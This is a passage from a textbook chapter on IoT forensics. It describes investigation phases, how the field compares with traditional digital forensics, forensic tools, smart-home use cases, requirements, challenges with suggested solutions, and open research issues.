	 3.	Data Analysis: After the data has been gathered, it is crucial to review the 
information to extract pertinent details that can be used as proof. It may be 
necessary to review the data to seek patterns of operation, to examine the 
metadata to pinpoint the times and dates that correspond to particular occur-
rences, or to utilise specialised tools to retrieve deleted or concealed data [3].

	 4.	Report Generation: In an investigation, a report is produced outlining 
what was discovered and suggesting further action. This report may be used 
as the basis for a government inquiry or as evidence in legal or regulatory 
proceedings.

FIGURE 4.2  Importance of IoT forensics.
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	 5.	Testimony: In some cases, an IoT examination specialist may be required 
to give testimony in court as well as an administrative hearing to discuss the 
results of the probe and the procedures followed.

Overall, the scope of IoT forensics encompasses the entire process of collecting, ana-
lysing, and presenting electronic data from IoT devices as evidence in legal or regu-
latory proceedings. This encompasses the regulatory and legal prerequisites for the 
admissible of evidence in court, as well as the technological elements of data reten-
tion and processing. The future potential of IoT forensics is depicted in Figure 4.3.

4.5 � IoT FORENSICS VERSUS DIGITAL FORENSICS

IoT forensics and digital forensics are similar in that they both focus on gathering, 
analysing, and presenting electronic data [4].

	•	 IoT forensics specifically is the process of collecting, analysing, and pre-
senting electronic data from IoT devices as evidence in legal or regula-
tory proceedings. IoT devices, wearable technology, connected cars, and 
smart homes are some such examples, making IoT forensics a critical 
aspect of cybercrime investigations, privacy investigations, and regulatory 
compliance.

	•	 On the other hand, a wider area known as “digital forensics” focuses on 
obtaining, analysing, and presenting electronic data from a variety of gad-
gets, such as laptops, mobile phones, and other digital gadgets. Digital 

FIGURE 4.3  Scope of IoT forensics.
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forensics is often used in criminal investigations, civil litigation, and regu-
latory compliance, and it is a critical tool for organisations that need to 
preserve and analyse electronic data for evidentiary purposes.

IoT forensics is a branch of computer forensics that specialises in gathering, analys-
ing, and presenting digital information collected by IoT devices, whereas computer 
evidence is a more general area that includes gathering, analysing, and presenting 
electronic information from all kinds of digital devices [4].

4.6 � IoT FORENSICS PROCESS

The process of assembling forensic data into report form is known as digital forensics 
or, expressing it in simple terms, the main phases in the procedure of digital forensics.

Considering computers and IoT forensics while considering concepts linked to 
digital forensics may be useful. In terms of these three concepts, digital forensics is 
the most diverse. Investigation of electronic devices is a key area of interest for digi-
tal forensics [5]. One such instance of a smart device is a computer, which is often 
referred to as a computerised system. IoT gadgets are essentially analogue versions 
of digital gadgets. Forensic evidence and IoT are therefore covered by the definition 
of digital forensics.

4.7 � TRADITIONAL DIGITAL FORENSICS VERSUS IoT FORENSICS

The IoT is intended to be a platform of sophisticated, self-governing technology, which 
will have a big impact on digital forensics (DF). Regarding criminal liability caused 
by linked devices, IoT provides a broad range of opportunities. These considerations 
will have an effect on the conventional practice of DF. The following traits may set 
IoT studies apart from conventional DF. Table 4.1 provides examples of this variation.

TABLE 4.1
Traditional Digital Forensics versus IoT Forensics

Traditional Digital Forensics IoT Forensics

Source of the data Webcams, servers, USB flash 
drives, PCs, smartphones, 
and other conventional 
storage devices including 
switches and routers.

Smart devices include, among other 
things, automobiles, drones, 
smartwatches, sensors, wristbands, 
factory automation, appliances, and 
wearable technologies.

Quantity of equipment Tens of billions of times larger 
magnitudes.

Trillions of times larger magnitudes.

Evidence type Standard electronic, electronic 
documents and files (JPG, 
MP3, MP4, etc.)

For IoT smart terminals, numerous 
nonstandard data formats were added.

Size of the evidence Megabytes. Exabytes.

(Continued)
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4.8 � MODEL FOR GENERALISED IoT FORENSICS

This section gives a thorough paradigm for IoT forensics, which is made up of three 
distinctive elements: investigative cases, scene of the crime artefacts, and evidence 
methods (see Figure 4.3). Despite the size of the IoT forensics environment, one 
could argue that it touches every area of our private and professional lives. This 
illustrates from a different perspective the importance of forensic investigations. 
The IoT will always contain unintentional evidence that people leave behind, pro-
viding digital forensics investigators with a vital point of entrance and success. We 
shall go into more detail in the next parts despite the fact that user privacy will be 
an issue [6].

Smart homes, smart clothes, industrial Internet, and Vehicle Internet of Things are 
the typical IoT investigation situations used in this article. Any smart gadget found 
in the smart home scene, such as networks, smart TVs, smart security devices, intel-
ligent kitchen equipment, smart refrigerators, and so on, can be used as evidence. 
Through examinations of innovative security doors, information about the family’s 
permanent members may be gathered, and even the necessary staff’s biometric infor-
mation may be immediately obtained. Through router forensics, you can learn spe-
cifics about just the wireless access users, such as their names and the exact minute 
they logged in. Through smart TV forensics, you can discover specifics about the 
composition, preferences, and way of life of a family. In order to build the suspect’s 
profile, case-related information will also be obtained through the forensic investiga-
tion of all other smart home devices, including smart kitchen equipment and smart 
refrigerators [6].

We use Edewede Oriwoh’s three-level framework for forensics objects, which is 
divided into three layers: the bottom layer equivalent to terminal forensics, the 
innermost layer to forensics process, and the top layer to cloud forensics. The sub-
ject of terminal forensics includes all IoT node devices in their broadest sense. In 
network forensics, the examination of node device forensic evidence is expanded. 

Traditional Digital Forensics IoT Forensics

Type of network Internet, mobile 
communication network, 
wireless network, Bluetooth, 
and wired networks.

IoT, wireless sensor network, and RFID 
were also mentioned (IIoT, Internet of 
Vehicles, etc.)

Protocol Ethernet, Bluetooth, Wi-Fi 
(802.11a/b/g/n), Ipv4, 
Ipv6, TCP or IP, and other 
networking technologies.

HTTP, Ajax, WebSocket, B/S/C/S, 
CoAP, MQTT, TCP/IP, etc.

The evidence’s resident 
(equipment).

Victims, suspects, and parties 
involved.

Anyone.

Judicial The applicable laws are mostly 
finished.

The applicable laws are mostly not 
finished.

Privacy Less serious issues arise when 
people’s privacy is violated.

Privacy concerns are present, and laws 
and borders are unclear.

TABLE 4.1  (Continued)
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Computer records, compliance audits, and other targets are all covered, as well as 
the data transfer of any possibly hostile systems. The term “cloud forensics” 
describes the process of gathering digital forensics data using cloud infrastructure. 
The procedures of gathering data through logfiles, rewritable data, vehicular traffic, 
and attack flags are explicitly referred to as “forensic analysis” and “terminal foren-
sics,” respectively. The ease with which local computers may access a system, gather 
data, and conduct analysis is the primary distinction between forensic inquiry, cloud 
forensic evidence, and terminal forensics. The computer, however, can no longer be 
physically touched once it is in the cloud; instead, just a few computer parts can be 
handled via the web application layer protocol. Furthermore, since cloud services 
are available internationally, it is possible that different countries will have jurisdic-
tion over certain types of proof. The jurisdictional problem cannot be disregarded 
(Figure 4.4).

4.9 � INVESTIGATION PROCESS OF IoT FORENSICS

Among the most popular study areas is IoT forensics. Although the IoT’s quick 
development has numerous advantages, it also creates significant security and foren-
sics challenges [7]. They become a prominent target for numerous forms of assaults 
because of the low-security protocols and the vast number of connected devices. 
Additionally, the variety of IoT devices and a lack of rules make it difficult to apply 
conventional digital forensic investigation methodologies in the IoT setting. As 
a result, a framework for IoT-based research needs to be created. In other words, 
digital information will be obtained and examined in the IoT setting utilising the 
digital forensic technique. This evidence will be capabilities, applications, platform 
technologies, and other related devices that could be incorporated inside the IoT 

FIGURE 4.4  Generalised model of IoT forensics.
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systems. The three phases in which the investigation procedure in the IoT is carried 
out are wireless investigations, connectivity-level witness testimony, and server-level 
forensics.

	 1.	Device Forensics: Physical evidence is currently the primary source of 
information regarding a specific cybercrime. The chosen IoT device is used 
by the investigator to gather the necessary data, which may include photos, 
video, audio, and other sorts of data.

	 2.	Network Forensics: This subcategory covers the many communication 
networks that are used to link IoT gadgets with one another. As part of the 
digital investigation, several attack origins in these network traffic records 
allow for the identification and gathering of networks. In the IoT space, 
networks come in a wide variety, including transmitting and receiving data, 
home/hospital network connectivity, personal network connectivity, and 
wide area networks (WAN). Using the information acquired from one of 
these networks, a question based on the Web of Things is developed.

	 3.	Cloud Forensics: Data generated by IoT devices is transmitted to the cloud 
for better processing and storage because the bulk of existing IoT devices 
lack adequate processing and storage capabilities. As a result, one of the 
crucial elements in the process of conducting a digital inquiry is using 
the cloud. Cloud computing offers IoT devices quick access, tremendous 
capacity, convenience, and scalability, as well as other advantages.

A desktop computer was the majority of the devices available in the past. 
Other gadgets, such as mobile phones, tablets, and USB drives, have been 
included in this. Furthermore, communication network boundaries were 
precisely identified by classical forensics [8].

Network boundaries can be challenging to define since the IoT system constitutes 
a continuous and dispersed network by nature. Cloud computing, which makes use 
of networks of data centres, avoids this problem. Due to the evolution of applica-
tions, whether they are IoT or cloud based, evidence may be in many formats. In old 
investigations, only electronic and common formats were used. Being able to collect 
different sorts of evidence gives you many more advantages in terms of developing 
a solid investigative procedure. Furthermore, the communication networks used in 
conventional and cloud computing differ substantially from one another, making it 
challenging to employ normal forensics unless they’ve been adjusted for the new 
situation.

Table 4.1 compares traditional and IoT forensics. The vast number of IoT devices, 
connected to each other, makes conventional investigations and cyber forensics inef-
fective. Successful analysis of these billions of devices could provide valuable 
evidence.

Several sources of evidence, including smart appliances, smart energy, healthcare 
equipment, and other IoT-related items, can be used to gather the necessary proof 
concerning a particular incident. Due to the challenges in identifying tampered 
devices and adequately processing the information obtained in a technically sound 
and logical way, IoT devices and the enormous amount of data they generate present 



66� Advanced Techniques and Applications of Cybersecurity and Forensics

a number of problems, despite the fact that having multiple sources of evidence is 
advantageous for the investigator. It is crucial to categorise the evidence sources and 
order the information according to its importance or relevance in the IoT context. 
Figure 4.5 shows many sources of proof for investigation process in IoT forensics. 
External and internal networks are the two main types of proof in the IoT. The local 
area with its networked objects and pick-up locations is referred to as the internal 
network. Therefore, information on communication between the devices as well as 
raw measured data can be obtained in the LAN, for instance. Additionally, valuable 
information about the network’s past operations can be obtained from network con-
figuration data. As opposed, the external network is connected by interface, service, 
and networking layers. Many heterogeneous devices using various communication 
protocols are part of the IoT environment. Therefore, weblogs, virtualisation soft-
ware, sensor data, and network logs are examples of external network evidence.

4.10 � IoT FORENSICS TOOLS

In support of a legal or criminal investigation, IoT investigation refers to the proce-
dure of gathering, assessing, and protecting forensic evidence from World Wide Web 
devices [9]. There are various IoT forensics tools available in the market, but the 
following are the most commonly used:

	 1.	Autopsy: Autopsy is a free, open-source digital forensics platform that 
allows investigators to analyse disk images and perform in-depth analysis of 
digital evidence. It supports various file systems and can be used to analyse 
IoT devices, such as routers, cameras, and smart home devices.

FIGURE 4.5  Investigation process of IoT forensics.
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	 2.	FTK Imager: The imager for the file carving feature devices is a collec-
tion of research instruments that facilitates access to data and analysis from 
many sources, including IoT devices. It supports a number of file systems 
and can be used to examine images on portable and hard drives.

	 3.	X-Ways Forensics: This comprehensive course in digital forensics includes 
state-of-the-art tools for poring over and obtaining digital evidence. It com-
prises techniques for assessing IoT devices, such as network analysis and 
disc mapping.

	 4.	Magnet Forensics AXIOM: For IoT devices, Magnet Forensics AXIOM 
provides reduction-edge data extraction, data removal, and network analy-
sis capabilities. It offers a full-service digital forensics solution.

	 5.	Belkasoft Evidence Centre: Belkasoft Evidence Centre is a piece of digi-
tal investigation software that enables detectives to gather, examine, and 
present digital evidence from numerous sources, including IoT devices. It 
includes advanced features for analysing internet activity, such as analysing 
browser history, cookies, and chat logs.

It’s important to note that while these tools can be useful in the investigation of IoT 
devices, the results of any analysis should be validated and verified through other 
means, because the information gathered from IoT devices can occasionally not be 
reliable or trustworthy. Additionally, the results of any analysis should be properly 
documented and preserved in accordance with established forensics protocols (see 
Figure 4.6).

FIGURE 4.6  Tools of IoT forensics.
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4.11 � OPPORTUNITIES OF IoT FORENSICS

IoT users are directly impacted by cyberattacks on various apps due to the increased 
opportunities provided by recent IoT technology. Additionally, since size and cost 
reduction are the main priorities while developing new technology, security is not 
a consideration in IoT [9]. IoT forensics are required because cybercrimes that use 
the potential of Intelligent automation can cross into the virtual world and endanger 
human life. IoT applications require digital forensics in a number of different situa-
tions. The following are involved in these applications:

	•	 Wearable Technology: IoT applications include wearable technology. 
Smartwatches are the IoT wearables that are most commonly utilised. 
According to Ricci and Baggili, there will be more than 100 million smart-
watches available by the year 2025 Because they are utilised in so many 
diverse contexts, smartwatches are a wonderful tool for gathering digital 
evidence, from GPS to banking activities. Private information about dis-
cussions, locations, and health is gathered through wearable technologies. 
Additionally, a connected wearable device may function as a backup evi-
dence source if the original device is not available. Another essential class 
of wearables IoT device is the smart band, which may be used to collect 
physical information that is necessary for forensics while also ensuring 
safety.

	•	 Mobile Devices: The majority of individuals have a high adoption rate for 
smartphones or other mobile devices. They start to resemble portable, net-
worked processors. In the past, there were various platforms and operating 
systems, but today the bulk of new smartphones are standardised as iOS or 
Android devices. The forensics investigation procedure is made less difficult 
by the standardised mobile devices because both kernels and system files 
are now well-known. Mobile device manufacturers have increased memory 
space, making these gadgets a fantastic source of proof for cybercriminals 
because they have all of the personal and financial data of IoT users.

	•	 Smart Residentials: The IoT permits a wide range of gadgets and products 
to connect with and interact with one another. New devices like refrigera-
tors, microwave ovens, heaters, cameras, and TVs are now possible because 
of the capacity to connect and communicate with people online. These gad-
gets acquire and store a range of information, such as videos, audio, and 
information about user activity nearby. The information may be stored on 
the device or retrieved from the service provider, like Google or Amazon, 
but it may be used as vital proof in court. Google Assistant, Apple’s Siri, 
Amazon’s Alexa, and Microsoft’s Cortana are just a few of the smart home 
technologies that feature artificial intelligence (AI) today and are available 
for purchase.

	•	 Logs: In forensic investigations, using logs as an input of data is essential. 
Data is routinely erased in IoT devices since the bulk of them have low stor-
age capacities. Logs are used to keep track of the status of a device. A court 
of justice may use the information found in logs. They would possess the 
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device’s records if the detectives were not able to access the data on the disc. 
As defined by Suchitra and Vandana, logs are a meticulous list of the activi-
ties that took place over a certain time period. They contend that log data is 
the most distant data source employed in analyses of digital evidence.

	•	 Connected Car: Technically speaking, a connected car is an automobile 
that can be operated and maintained remotely via a mobile device, tablet, 
or internet-connected computer. Presently, digital technology is used in the 
linked automobile to monitor the condition of the car, attend to or stream 
media, and to use hands-free personal devices. Attackers can go for a linked 
car in order to steal or damage it. It has happened on numerous occasions 
for connected cars to be assaulted and damaged. When a detective can com-
pile forensic evidence using GPS tracking devices, telecommunications 
units, and automobile infotainment systems, a linked car can be an effective 
source of evidence [9] (see Figure 4.7).

4.12 � INDUSTRIES USING IoT

A network of connected equipment, machines, structures, and other physical items 
that gather and exchange data is known as the IoT. By increasing productivity, cut-
ting expenses, and opening up new business options, the IoT has changed numer-
ous sectors. Here are some of the industries that are using IoT technology [10] (see 
Figure 4.8).

	 1.	Manufacturing: IoT technology is being used in the manufacturing indus-
try to improve production efficiency, decrease costs, and improve quality 
control. Monitoring is done with IoT sensor machines and equipment, pre-
dict maintenance needs, and automate production processes. This results in 
reduced downtime, improved product quality, and increased efficiency.

	 2.	Agriculture: IoT technology is being used in agriculture to monitor crop 
growth, optimise irrigation, and automate the harvesting process. IoT sen-
sors can track moisture content, temperature, and other parameters, nutrient 

FIGURE 4.7  Opportunities of IoT forensics.
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levels, which helps farmers make informed decisions about when to water, 
fertilise, or harvest their crops. As a result, agricultural yields are enhanced, 
water use is decreased, and sustainability is improved.

	 3.	Healthcare: IoT technology is being used in healthcare to improve patient 
care, monitor patient health, and streamline medical procedures. Monitoring 
can be done via IoT devices like smartwatches, smart mattresses, and medi-
cal equipment sensors patient health, track medication usage, and alert 
healthcare providers to potential problems. This results in improved patient 
outcomes, reduced costs, and better patient experiences.

	 4.	Transportation: In order to increase safety in transportation, IoT platform 
is being deployed to reduce traffic congestion and optimise transportation 
routes. With real-time data from IoT sensors, it is possible to analyse driv-
ing habits, monitor traffic flow, and plan the best routes for transportation. 
This results in reduced travel times, improved safety, and reduced environ-
mental impact.

	 5.	Retail: IoT technology is being used in retail to improve customer experi-
ences, reduce costs, and increase sales. IoT devices such as beacons, smart 
shelves, and RFID tags can be used to track customer behaviour, moni-
tor inventory levels, and personalise marketing messages. This results in 
improved customer engagement, reduced costs, and increased sales.

	 6.	Energy: IoT technology is being used in the energy industry to improve 
efficiency, increasing sustainability while cutting expenditures. IoT sensors 
are used for monitoring energy usage, optimising energy consumption, and 
automating energy management processes. This results in reduced energy 
costs, improved sustainability, and increased energy efficiency.

IoT technology is generally transforming a range of industries by increasing pro-
ductivity, lowering costs, and creating new business opportunities. As technology 
advances, we can expect to see even more IoT gadgets.

4.13 � SMART HOMES

Smart homes are a well-known IoT use case. Most home automation systems 
include a number of networked, mobile phone app- or centralised hub-controlled 

FIGURE 4.8  Industries using IoT.
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components, including hubs for smart homes, cameras, and sensors. These gadgets 
are made to increase home security, process efficiency, and energy efficiency [10].

Listed below are a few IoT applications for smart houses.

	 1.	Home Automation: Automated lighting, thermostat control, and door lock-
ing are just a few examples of the duties that smart home technology can do. 
This automation can be triggered by various events, such as motion detec-
tion, voice commands, or schedules.

	 2.	Energy Management: Energy consumption can be tracked by smart home 
devices, and settings may be changed to improve energy efficiency. Smart 
thermostats, for instance, can recognise the user’s behaviour and modify the 
temperature settings appropriately, which can save energy.

	 3.	Home Security: IoT gadgets such as cameras, motion sensors, and door 
locks can be used to monitor the home and alert the user of any potential 
security threats. This can be done through a mobile app that sends notifica-
tions or alerts to the user’s phone.

	 4.	Entertainment: Smart home devices can be used to control entertainment 
systems such as TVs, speakers, and streaming devices. This allows users to 
easily control their entertainment systems from a central hub or mobile app.

	 5.	Health and Wellness: IoT devices such as smart scales, fitness trackers, 
and blood pressure monitors can be used to track health metrics and provide 
personalised recommendations to users.

	 6.	Home Maintenance: Gadgets may be employed to keep an eye on and ser-
vice home appliances like refrigerators, washing machines, and dryers. This 
can help to identify potential maintenance issues and reduce repair costs.

IoT applications for smart homes are among the most popular. A smart home’s 
technology can be connected to UPB, X10, INSTEON, Z-Wave, Wi-Fi, Bluetooth, 
and Zigbee entire inventory and can be linked to and controlled by a single device. 
Lighting, locks, kitchen appliances, coffee makers, air conditioning, and heating sys-
tems are some examples of these gadgets. Because it can be remotely controlled and 
objects can be monitored via smartphones, people may fulfil personal tasks more 
quickly and easily. The homeowner also receives additional benefits from it, like 
security improvements, cost reductions, and energy efficiency [11].

For instance, smart illumination is a necessary component of a smart device and a 
terrific method to manage the ambience in the room. It’s easy to control them with 
voice commands or smartphone apps. Users need not be concerned about wasting 
energy because they may be set to turn on and off when people enter or depart the room.

Users of the Wi-Fi-based Nest thermostat can control the HVAC equipment using 
voice controls or through an app. It automatically gathers data about user behaviour 
and makes necessary adjustments. The Nest Thermostat users save their heating and 
cooling costs by 10% to 12% and 15%, respectively. As a result, about US$140 is 
saved annually.

The best feature of smart home technology is maximising home security. Users 
may remotely watch their homes at any time and from any location by installing 
smart cameras, and they can also receive mobile security alerts. Being locked out of 
your house is less likely with smart door locks. Wherever with internet connectivity, 
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users can lock and safeguard the door. Smart gadgets, surveillance, communications 
and control, audio systems, energy conservation, and cosy lighting are some of the 
subcategories of devices for a connected device [12]. By 2023, it was anticipated that 
the smart home sector would generate US$141 billion, and many businesses and 
vendors have invested in these gadgets. Typically, the Wi-Fi network at home is used 
to connect smart gadgets to either a central control hub or each other (Figure 4.2). To 
operate their own devices, several businesses create smart hubs and smartphone 
applications. Many connectivity technologies, including Wi-Fi, Z-Wave, X10, UPB, 
INSTEON, Bluetooth, and Zigbee, are supported by various hubs [13].

In 1975, the automation protocol known as X10 was created for home automation. 
The signals are sent via the electrical wiring already present in the home. Although 
X10 devices are no longer in use, the X10 protocol served as the basis for later wired 
technologies such as International Powerline Bus (UPB). In order to communicate 
with other devices, INSTEON makes use of both traditional power lines and wireless 
technology. It improves speed as well as dependability over older technology by 
switching from one channel of communication to another when a problem arises. 
A mesh network is created by INSTEON devices communicating wirelessly with 
one another. A mesh network eliminates the need for a central hub by allowing direct 
communication between each device, enabling independent data relay.

Although smart homes have many advantages for people’s lives, they are not sup-
ported by a range of frameworks or technological standards. Few businesses adopted 
industry standards, which resulted in the creation of numerous platforms and tech-
nologies that are incompatible with one another [13].

Sellers and manufacturers don’t frequently design the vast majority of smart home 
items with incredibly protected controls in mind. To understand and predict people’s 
behaviour, sensors and smart gadgets gather a lot of data about them. They must be 
knowledgeable of the what, when, and where people perform a task in order to auto-
mate it. Smart devices are aware of the area they are in as well as the ideal moment 
to switch on or turn off the lights. This increases the possibility of security and pri-
vacy threats such as identification theft and data leakage and exposes users to mali-
cious attacks when connecting these devices with cordless networks and the internet 
(Figure 4.9).

4.14 � REQUIREMENTS FOR SUCCESSFUL IoT FORENSICS

The IoT system provides a number of difficulties when employing conventional digi-
tal forensics investigation approaches, especially with regard to information system 
and analysis in consideration of the massive IoT device population. There are dif-
ficulties with data analysis as a result of the various data formats that IoT devices 
utilise. The following criteria need to be satisfied for an Internet-of-Things forensics 
to be successful:

	•	 Protection of Privacy: The IoT system seems to have a lot of devices that 
collect private information about users’ daily activities, financial accounts, 
passwords, etc. An investigator will use these details in a cybercrime inves-
tigation. Therefore, users must be made to know that a forensic investigation 
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is being conducted using the data they have provided. Clients are totally 
responsible for keeping track of those who have acquired their information 
and used it for study. Forensic experts who have access to the users’ data 
must also make all necessary efforts to safeguard it from theft, unauthorised 
access, and modification. Weber has provided a strong study that may be 
used to examine various methods for protecting the privacy of IoT data [14].

	•	 Identification and Human Behaviour: In light of human behaviour, the 
identification of modern technologies is no longer appropriate. It is neces-
sary to create fresh ways for parameter identification as well as contemporary 
analytical techniques for processing evidence. Because human psychology 
changes over time, it is crucial to use these analytical methods to spot pat-
terns and get accurate results. For instance, it is now standard practice to 
recognise human faces in pictures and movies. Furthermore, because of the 
extensive usage there are more options for device identification than there 
are for wired, cordless, and internet access than there are for fingerprinting.

	•	 Human Centre Design: The process of creating global IoT gadgets while 
keeping the requirements of humans in mind is referred to as “human cen-
tre design. The vast majority of newly created IoT devices just take into 
account whether particular solutions are practical and ignore human con-
cerns. In order to be more widely adopted, new technologies should strive 
to satisfy user needs. As important as security and privacy concerns are, 
designing an IoT gadget that satisfies human needs requirements is also 
essential. Additionally, by including the human aspect in the architecture 
of an IoT device, useful products or gadgets that may gather the required 
circumstantial evidence may be produced.

FIGURE 4.9  A typical smart home layout.
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	•	 Access Control and Authentication: A variety of devices with various 
hardware and software capabilities make up the IoT system. In large part 
because of authentication, a variety of IoT devices can be included in a 
variety of settings and surroundings. Running key installation and key man-
agement processes efficiently is essential for successful IoT device authen-
tication. Additionally, one of the most important requirements for effective 
forensic investigation is the implementation of an effective mechanism 
for access control for embedded applications that permits only legitimate 
access to system resources. Because of this, the evidence may be utilised 
to pinpoint individual users and locate the offender or offender(s) who are 
interested in a crime [15].

	•	 Data Management for IoT: Finding valuable information might be dif-
ficult due to the volume of data that IoT gadgets and sensors collect through 
communications systems and the cloud. For these data to provide useful 
information for the inquiry, adequate handling is required. IoT data are dis-
seminated over numerous locations as a result of the distributed architecture 
of the IoT system, which renders assembling the proof extremely difficult. 
Jiang has introduced a revolutionary design for storing IoT data, which 
enables the effective enrichment and fusion of both organised and unstruc-
tured IoT data. To manage and store a variety of obtained data kinds, their 
platform might include sensors and an RFID system.

	•	 IoT Data Analytics: As IoT devices proliferate swiftly and the quantity of 
information these devices generate grow dramatically, it is crucial to handle 
and analyse the produced data in an appropriate way. Effective analytical 
algorithms must be created in order to assess the massive amounts of data 
generated by IoT devices. As a result, forensic experts will be more able to 
quickly and effectively obtain the essential data and draw the appropriate 
conclusions.

	•	 Approved IoT Forensic Investigation Model: The IoT infrastructure is a 
dispersed and varied system by design, consisting of a wide range of devices 
from different manufacturers and operating on a number of platforms. 
Using the conventional frameworks for digital forensics investigation has a 
number of drawbacks. Therefore, having a certified digital forensics meth-
odological approach that can operate effectively and manage various chal-
lenges and adjustments to one of the essential elements for an effective IoT 
forensics is the IoT system.

	•	 IoT Data Integration: Data integration is one of the IoT’s main prob-
lems. In order to provide a consistent image of the data, it aggregates the 
data gathered from many sources and areas and saves it. Massive amounts 
of data are continuously produced by IoT systems, as well as other com-
munication channels. Yet, the capabilities of the current digital forensics 
instruments are limited by the IoT system’s diversity and distribution. Due 
to the enormous volume of data that IoT devices produce, new integration 
rules should be followed to combine the evidence from various remote IoT 
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systems. The issue has a good solution, thanks to researchers who have pro-
vided a thorough explanation of how combining cloud and IoT data might 
lead to an effective investigation [16] (see Figure 4.10).

4.15 � CHALLENGES AND SUGGESTED SOLUTIONS FOR IoT 
FORENSICS

Several problems prevent an effective forensic analysis in the IoT system, despite the 
fact that the IoT offers practitioners and investigators a friendly atmosphere and a 
vast variety of evidence sources. These difficulties include the following:

	•	 Complex Network Topology: The endpoints’ network topology may be 
difficult to ascertain while performing a forensic analysis of an IoT sys-
tem. There’s always a chance that a sensor supplying data to an internet-
connected device is placed at a questionable spot on the scene of the crime. 
If the connection only has footprints from its most recent restart, it may be 
difficult to acquire a thorough picture of the implementation and testing for 
the problematic system from network logs.

	•	 Integrity of Digital Evidence: The reliability of the data that has been 
gathered as digital evidence is one of the fundamental problems in digital 
forensics. The two most popular techniques used by mobile phones and 
computers to preserve data integrity are generating the hash and tracking 
chain of custody. The lack of forensic techniques to prevent endpoints from 
being unintentionally updated is a problem for IoT systems. A new approach 
must be presented in order to safeguard the veracity of digital proof against 
any manipulation or tampering.

	•	 Digital Evidence Visibility: The primary barrier to a criminal investigation 
based on the IoT is the evidence’s lack of visibility. There is a potential 
that either no sensors are going to be present at the crime site or hundreds 
of sensors would be there. The digital detective might not be capable of 

FIGURE 4.10  Successful IoT forensics requirements.
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recognising the peripherals at the scene of the crime because sensors can be 
added to any gadget. The greatest thing an AI processor can do to determine 
how many detectors are connected to the system under investigation is to 
gather and analyse network device logs. These log data may contain addi-
tional details concerning the location and also most current time the sensor 
was in use [16].

	•	 Imaging of IoT Device: One of the most difficult tasks in the information-
gathering process is deciding whether to physically obtain the electronic 
system or to build a scientific representation of it. It is usual in conventional 
computing investigations to take a picture of the storage device in order to 
prevent unintended data change. Since digital evidence is the bedrock of all 
criminal investigations, the forensic image of the internet system is crucial 
to forensic investigation on IoT platforms.

	•	 Data Location: Because the IoT framework has continued to grow to com-
municate and connect with a varied variety of devices globally, it is incred-
ibly difficult to locate the exact location of data. IoT data may be stored on a 
cloud-based platform that is situated in another country, despite the fact that 
IoT systems have a certain amount of storage space. As a result, the legal 
requirements that are involved make the investigation process more chal-
lenging. For instance, Microsoft turned down a warrant request for a search 
of data stored from outside region of the invitation (the USA) in August 
2014, keeping the inquiry open.

	•	 Data Format: In contrast to traditional computers, many data formats that 
are different from the pattern of knowledge stored in the cloud are produced 
by IoT devices. Data may also go through analytical processing before even 
being uploaded to the cloud. The data must be restored to its natural format 
before analysis in order for it to be used in a legal process.

	•	 Identity of the Device: A criminal effectively commits a crime when this 
equipment is used. If the criminal’s identity is unknown, no amount of dig-
ital evidence can help identify them. Unreliable consumer data prevents 
the usage of cloud services. Cloud accounts are typically anonymous and 
devoid of any personally identifiable information. In other words, even if 
the researcher finds forensic data online that demonstrates that an informa-
tion system was the reason for an offence, it does not imply that the data will 
reveal who committed the crime or what equipment was used.

	•	 Forensic Tools: The variety and scattered nature of the IoT system exceeds 
the capability of the available digital forensics techniques. IoT systems 
produce a large volume of electronic data, which creates a variety of dif-
ficulties when trying to detect hacked devices and retrieve digital evidence. 
Due to the weak security features built into IoT devices, the evidence gath-
ered through these gadgets may not be admissible in court. The detection 
of cyberattacks in the IoT paradigm requires the use of digital investigation 
tools that can manage the complex elements of the IoT infrastructure and 
aid investigators in conducting quick and efficient inquiries.
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These obstacles prevent one from conducting a fruitful forensic inquiry in the IoT 
context. For the issues that were previously discussed, we provided remedies, which 
are listed in Table 4.2.

TABLE 4.2
Suggested Solutions for IoT Forensics Challenges

Challenges Suggested Solutions

Complex Network Topology The problem can be conquered by creating a method for tracking 
networks and systems that can document changes to the 
network’s topology as well as the precise locations of each 
location in the architecture and transmit all of this data to a 
centralised forensic server. Additionally, it might help with the 
problem of how visible digital evidence is.

Integrity of Digital Evidence By offering a data integrity method for terminals that are linked 
to the cloud platform to track and record any modifications to 
the proof that has been obtained at endpoints, the integrity of 
evidence in the case may be maintained.

Visibility of Digital Evidence When collecting evidence from an IoT device, one of the biggest 
difficulties a digital investigator confronts is recognising the 
digital evidence. The solution to this problem is to create 
new international cooperation laws that would provide the 
required backing for IoT-based forensic evidence if it were to 
be installed domestically.

Imaging of IoT Device A viable answer to this problem is to offer a backup server on 
the cloud. The detective or the cybersecurity administrator 
can go to the cloud storage servers and ask for a picture of 
the compromised machine in the event of an incident because 
data from IoT devices can be regularly saved on this backup 
server.

Data Location Discovering IoT devices that potentially contain data relevant 
to an Internet-of-Things cybercrime can be quickly solved by 
creating a standardised system to monitor their movements. 
In the event that the IoT topology changes, the new website 
might be automatically updated. Additionally, a network of 
country-wide collaboration may be required due to a sequence 
of location-based servers that may be spread out across 
numerous states.

Data format By providing an IoT universal database structure that is 
acknowledged by courts, this issue is solvable. Data should 
also be returned to their original format before analysis.

Identity of the device The large majority of registered users include false information 
about their users, making verification access to IoT devices 
necessary. Multifactor authentication techniques can be used 
to tackle this issue, and cloud users should be required to 
show proper identification.

Forensic Tools The solution to this problem is to create a state-of-the-art 
instrument for IoT forensics inquiry that is accepted by the 
legal system and achieves the goals of the investigators.
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4.16 � OPEN ISSUES AND FUTURE DIRECTION

There seem to be some issues that still need to be solved even if major efforts have 
been taken to address the challenges with IoT forensics. In order to introduce new 
researchers to the field of IoT forensics, this chapter explored outstanding problems 
and potential future directions with guidance on how to tackle these difficulties [17].

	•	 Model for IoT Forensic Investigation
Technology based on the IoT is somewhat recent and has several cutting-
edge features, including heterogeneity, adaptability, and several data 
formats. As a result, obtaining the required skills won’t be simple using 
conventional digital forensics investigation methods. Therefore, the cre-
ation of a comprehensive and efficient IoT forensic analysis model is very 
necessary in order to assist digital investigators in addressing current issues 
and investigating significant cybercrimes that occurred in the IoT platform. 
Even if several models for IoT-based investigations have been offered, as 
was already indicated, with the IoT system, more advanced models for 
crime scene investigation are still required.

	•	 Analysis of Big IoT Data
The term “big data” pertains to vast quantities of structured and unstruc-
tured data that are difficult to analyse using standard data analysis tech-
niques. Due to the vast quantity of data that various IoT devices collect, the 
IoT online platform is one of the main sources of big data. Even if this issue 
can be solved with the massive storage abilities of cloud technology, main-
taining and analysing data will be a big challenge. It is more challenging for 
forensic experts working on digital forensics cases to examine, explore, and 
